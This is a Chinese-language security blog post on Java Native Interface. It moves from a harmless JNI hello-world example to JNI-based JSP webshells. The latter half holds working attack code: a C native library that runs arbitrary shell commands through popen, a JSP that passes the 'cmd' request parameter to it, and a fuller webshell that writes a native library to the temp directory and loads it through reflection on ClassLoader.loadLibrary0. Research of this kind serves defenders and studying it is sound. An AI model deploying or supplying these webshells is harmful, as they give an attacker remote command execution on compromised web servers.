Java JNI（Java Native Interface）攻击原理研究

Java JNI（Java Native Interface）攻击原理研究 - 郑瀚Andrew
2023-11-10 09:1:0 Author: www.cnblogs.com(查看原文) 阅读量:25 收藏

JNI （Java Native Interface，Java本地接口）是一种编程框架，使得Java虚拟机中的Java程序可以调用本地应用/或库，也可以被其他程序调用。本地程序一般是用其它语言（C、C++或汇编语言等）编写的，并且被编译为基于本机硬件和操作系统的程序。

package org.example;

public class HelloWorld {
    static {
        System.loadLibrary("hello");
    }

    public native void sayHello();

    public static void main(String[] args) {
        new HelloWorld().sayHello();
    }
}

接下来，其中的static代码块是JVM在加载类时执行的，System.loadLibrary()表明需要加载动态库hello，在不同的系统平台上对应不同的名字，

这个库应该被放在Java库的搜索路径中，可以通过-Djava.library.path=/path/to/lib将其加入到搜索路径中。如果路径下没有找到要导入的库，会在抛出UnsatisfiedLinkError错误。

javah -d ./jni -cp target/classes org.example.HelloWorld

/*
 * Class:     org_example_HelloWorld
 * Method:    sayHello
 * Signature: ()V
 */
JNIEXPORT void JNICALL Java_org_example_HelloWorld_sayHello
  (JNIEnv *, jobject);

Java_{package_and_classname}_{function_name}();

#include "org_example_HelloWorld.h"
#include <jni.h>
#include <stdio.h>

JNIEXPORT void JNICALL Java_org_example_HelloWorld_sayHello (JNIEnv *env, jobject obj) {
  printf("Hello JNI!\n");
}

gcc -shared -I/Library/Java/JavaVirtualMachines/jdk1.8.0_291.jdk/Contents/Home/include -I/Library/Java/JavaVirtualMachines/jdk1.8.0_291.jdk/Contents/Home/include/darwin hello.c -o libhello.dylib

gcc -shared -I$JAVA_HOME/include -I$JAVA_HOME/include/darwin hello.c -o libhello.dylib

java -Djava.library.path=/Users/zhenghan/Projects/JNI_test/jni/ org.example.HelloWorld

#include "org_example_HelloWorld.h"
#include <jni.h>
#include <iostream>

JNIEXPORT void JNICALL Java_org_example_HelloWorld_sayHello (JNIEnv *env, jobject obj) {
  std::cout << "Hello JNI from C++!" << std::endl;
}

g++ -shared -I/Library/Java/JavaVirtualMachines/jdk1.8.0_291.jdk/Contents/Home/include -I/Library/Java/JavaVirtualMachines/jdk1.8.0_291.jdk/Contents/Home/include/darwin hello.cc -o libhello.dylib

https://blog.csdn.net/pengmaoming/article/details/80167295
https://blog.csdn.net/furzoom/article/details/113730538
https://blog.csdn.net/createchance/article/details/53783490

由于jni技术需要先通过javah将.class文件生成.h开头的.c头文件，又因为jsp是一种特殊的class文件，jsp经过Tomcat编译为class文件，命名遵从：

test.jsp ->> org.apache.jsp.test_jsp.class

package org.apache.jsp;

public class test_jsp
{
    class JniClass
    {
        public native String exec( String string );

    }

}

javah -d ./jni -cp target/classes org.apache.jsp.test_jsp$JniClass

/* DO NOT EDIT THIS FILE - it is machine generated */
#include <jni.h>
/* Header for class org_apache_jsp_test_jsp_JniClass */

#ifndef _Included_org_apache_jsp_test_jsp_JniClass
#define _Included_org_apache_jsp_test_jsp_JniClass
#ifdef __cplusplus
extern "C" {
#endif
/*
 * Class:     org_apache_jsp_test_jsp_JniClass
 * Method:    exec
 * Signature: (Ljava/lang/String;)Ljava/lang/String;
 */
JNIEXPORT jstring JNICALL Java_org_apache_jsp_test_1jsp_00024JniClass_exec
  (JNIEnv *, jobject, jstring);

#ifdef __cplusplus
}
#endif
#endif

#include "org_apache_jsp_test_jsp_JniClass.h"
#include <jni.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>

int execmd(const char *cmd, char *result)
{
    char buffer[1024*12];              //定义缓冲区
    FILE *pipe = popen(cmd, "r"); //打开管道，并执行命令
    if (!pipe)
        return 0; //返回0表示运行失败

    while (!feof(pipe))
    {
        if (fgets(buffer, 128, pipe))
        { //将管道输出到result中
            strcat(result, buffer);
        }
    }
    pclose(pipe); //关闭管道
    return 1;      //返回1表示运行成功
}
JNIEXPORT jstring JNICALL Java_org_apache_jsp_test_1jsp_00024JniClass_exec(JNIEnv *env, jobject class_object, jstring jstr)
{

    const char *cstr = (*env)->GetStringUTFChars(env, jstr, NULL);
    char result[1024 * 12] = ""; //定义存放结果的字符串数组
    if (1 == execmd(cstr, result))
    {
        //printf(result);
    }

    char return_messge[100] = "";
    strcat(return_messge, result);
    jstring cmdresult = (*env)->NewStringUTF(env, return_messge);
    //system();

    return cmdresult;
}

gcc -shared -I/Library/Java/JavaVirtualMachines/jdk1.8.0_291.jdk/Contents/Home/include -I/Library/Java/JavaVirtualMachines/jdk1.8.0_291.jdk/Contents/Home/include/darwin jsp_exec_jni.c -o libexec.dylib

<%!
        class JniClass {
                public native String exec(String string);
                public JniClass() {
                System.load("/Users/zhenghan/Projects/JNI_test/jni/libexec.dylib");
                }
        }
%>
<%
        String cmd  = request.getParameter("cmd");
        if (cmd != null) {
                JniClass a = new JniClass();
                String res = a.exec(cmd);
                out.println(res);
        }
    else{
        response.sendError(404);
    }
%>

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.File" %>
<%@ page import="java.io.FileOutputStream" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Method" %>
<%-- load_library_cmd_all.jsp?cmd=ls --%>
<%-- 通过JNI的方式调用动态链接库, 反射调用 ClassLoader 的 loadLibrary0 方法进行加载 --%>
<%!
    private static final String COMMAND_CLASS_NAME = "com.anbai.sec.cmd.CommandExecution";

    /**
     * JDK1.5编译的com.anbai.sec.cmd.CommandExecution类字节码,
     * 只有一个public static native String exec(String cmd);的方法
     */
    private static final byte[] COMMAND_CLASS_BYTES = new byte[]{
            -54, -2, -70, -66, 0, 0, 0, 49, 0, 15, 10, 0, 3, 0, 12, 7, 0, 13, 7, 0, 14, 1,
            0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100,
            101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108,
            101, 1, 0, 4, 101, 120, 101, 99, 1, 0, 38, 40, 76, 106, 97, 118, 97, 47, 108, 97,
            110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108,
            97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 10, 83, 111, 117, 114,
            99, 101, 70, 105, 108, 101, 1, 0, 21, 67, 111, 109, 109, 97, 110, 100, 69, 120,
            101, 99, 117, 116, 105, 111, 110, 46, 106, 97, 118, 97, 12, 0, 4, 0, 5, 1, 0, 34,
            99, 111, 109, 47, 97, 110, 98, 97, 105, 47, 115, 101, 99, 47, 99, 109, 100, 47, 67,
            111, 109, 109, 97, 110, 100, 69, 120, 101, 99, 117, 116, 105, 111, 110, 1, 0, 16,
            106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 0, 33, 0,
            2, 0, 3, 0, 0, 0, 0, 0, 2, 0, 1, 0, 4, 0, 5, 0, 1, 0, 6, 0, 0, 0, 29, 0, 1, 0, 1,
            0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 1, 0, 7, 0, 0, 0, 6, 0, 1, 0, 0, 0, 7, 1,
            9, 0, 8, 0, 9, 0, 0, 0, 1, 0, 10, 0, 0, 0, 2, 0, 11
    };

    /**
     * 获取JNI链接库目录
     * @return 返回缓存JNI的临时目录
     */
    File getTempJNILibFile() {
        File jniDir = new File(System.getProperty("java.io.tmpdir"), "jni-lib");

        if (!jniDir.exists()) {
            jniDir.mkdir();
        }

        String filename;

        if (isWin()) {
            filename = "cmd.dll";
        } else {
            if (isMac()) {
                filename = "libcmd.lib";
            } else {
                filename = "libcmd.so";
            }
        }


        return new File(jniDir, filename);
    }


    boolean isWin() {
        return (System.getProperty("os.name") != null && System.getProperty("os.name").startsWith("Win"));
    }

    boolean isWin32() {
        return "32".equals(System.getProperty("sun.arch.data.model"));
    }

    boolean isMac() {
        return (System.getProperty("os.name") != null && System.getProperty("os.name").startsWith("Mac"));
    }


    /**
     * 高版本JDKsun.misc.BASE64Decoder已经被移除，低版本JDK又没有java.util.Base64对象，
     * 所以还不如直接反射自动找这两个类，哪个存在就用那个decode。
     * @param str
     * @return
     */
    byte[] base64Decode(String str) {
        try {
            try {
                Class clazz = Class.forName("sun.misc.BASE64Decoder");
                return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
            } catch (ClassNotFoundException e) {
                Class  clazz   = Class.forName("java.util.Base64");
                Object decoder = clazz.getMethod("getDecoder").invoke(null);
                return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
            }
        } catch (Exception e) {
            return null;
        }
    }

    /**
     * 写JNI链接库文件
     * @param base64 JNI动态库Base64
     * @return 返回是否写入成功
     */
    void writeJNILibFile(String base64) throws IOException {
        if (base64 != null) {
            File jniFile = getTempJNILibFile();

            if (!jniFile.exists()) {
                byte[] bytes = base64Decode(base64);

                if (bytes != null) {
                    FileOutputStream fos = new FileOutputStream(jniFile);
                    fos.write(bytes);
                    fos.flush();
                    fos.close();
                }
            }
        }
    }
%>
<%
    String cmd = request.getParameter("cmd");
    String jniBytes = request.getParameter("jni");


    String COMMAND_JNI_FILE_BYTES;
    if (isWin()) {
        if (isWin32()) {
            // windows 32
            COMMAND_JNI_FILE_BYTES = "省略具体的Base64编码信息，请参考javaweb-sec/javaweb-sec-source/javasec-test/javasec-vuls-struts2/src/main/webapp/modules/jni/loadlibrary.jsp";
        } else {
            // windows 64
            COMMAND_JNI_FILE_BYTES = "省略具体的Base64编码信息，请参考javaweb-sec/javaweb-sec-source/javasec-test/javasec-vuls-struts2/src/main/webapp/modules/jni/loadlibrary.jsp";
        }
    } else {
        if (isMac()) {
            // mac
            COMMAND_JNI_FILE_BYTES = "省略具体的Base64编码信息，请参考javaweb-sec/javaweb-sec-source/javasec-test/javasec-vuls-struts2/src/main/webapp/modules/jni/loadlibrary.jsp";
        } else {
            // centos 7 64
            COMMAND_JNI_FILE_BYTES = "省略具体的Base64编码信息，请参考javaweb-sec/javaweb-sec-source/javasec-test/javasec-vuls-struts2/src/main/webapp/modules/jni/loadlibrary.jsp";
        }
    }


    // JNI路径
    File jniFile = getTempJNILibFile();
    ClassLoader loader = (ClassLoader) application.getAttribute("__LOADER__");

    if (loader == null) {
        loader = new ClassLoader(this.getClass().getClassLoader()) {
            @Override
            protected Class<?> findClass(String name) throws ClassNotFoundException {
                try {
                    return super.findClass(name);
                } catch (ClassNotFoundException e) {
                    return defineClass(COMMAND_CLASS_NAME, COMMAND_CLASS_BYTES, 0, COMMAND_CLASS_BYTES.length);
                }
            }
        };

        writeJNILibFile(jniBytes != null ? jniBytes : COMMAND_JNI_FILE_BYTES);// 写JNI文件到临时文件目录

        application.setAttribute("__LOADER__", loader);
    }

    try {
        // load命令执行类
        Class  commandClass = loader.loadClass("com.anbai.sec.cmd.CommandExecution");
        Object loadLib      = application.getAttribute("__LOAD_LIB__");

        if (loadLib == null || !((Boolean) loadLib)) {
            Method loadLibrary0Method = ClassLoader.class.getDeclaredMethod("loadLibrary0", Class.class, File.class);
            loadLibrary0Method.setAccessible(true);
            loadLibrary0Method.invoke(loader, commandClass, jniFile);
            application.setAttribute("__LOAD_LIB__", true);
        }

        String content = (String) commandClass.getMethod("exec", String.class).invoke(null, cmd);
        out.println("<pre>");
        out.println(content);
        out.println("</pre>");
    } catch (Exception e) {
        out.println(e.toString());
        throw e;
    }

%>

https://www.javasec.org/java-vuls/JNI.html
https://blog.csdn.net/weixin_47208161/article/details/106527583
https://www.cnblogs.com/interdrp/p/5012185.html
https://3gstudent.github.io/Java%E5%88%A9%E7%94%A8%E6%8A%80%E5%B7%A7-%E9%80%9A%E8%BF%87JNI%E5%8A%A0%E8%BD%BDdll
https://raw.githubusercontent.com/javaweb-sec/javaweb-sec/master/javaweb-sec-source/javasec-test/javasec-vuls-struts2/src/main/webapp/modules/jni/loadlibrary.jsp
https://zhuanlan.zhihu.com/p/125477850
https://www.javasec.org/java-vuls/JNI.html

文章来源: https://www.cnblogs.com/LittleHann/p/17819392.html
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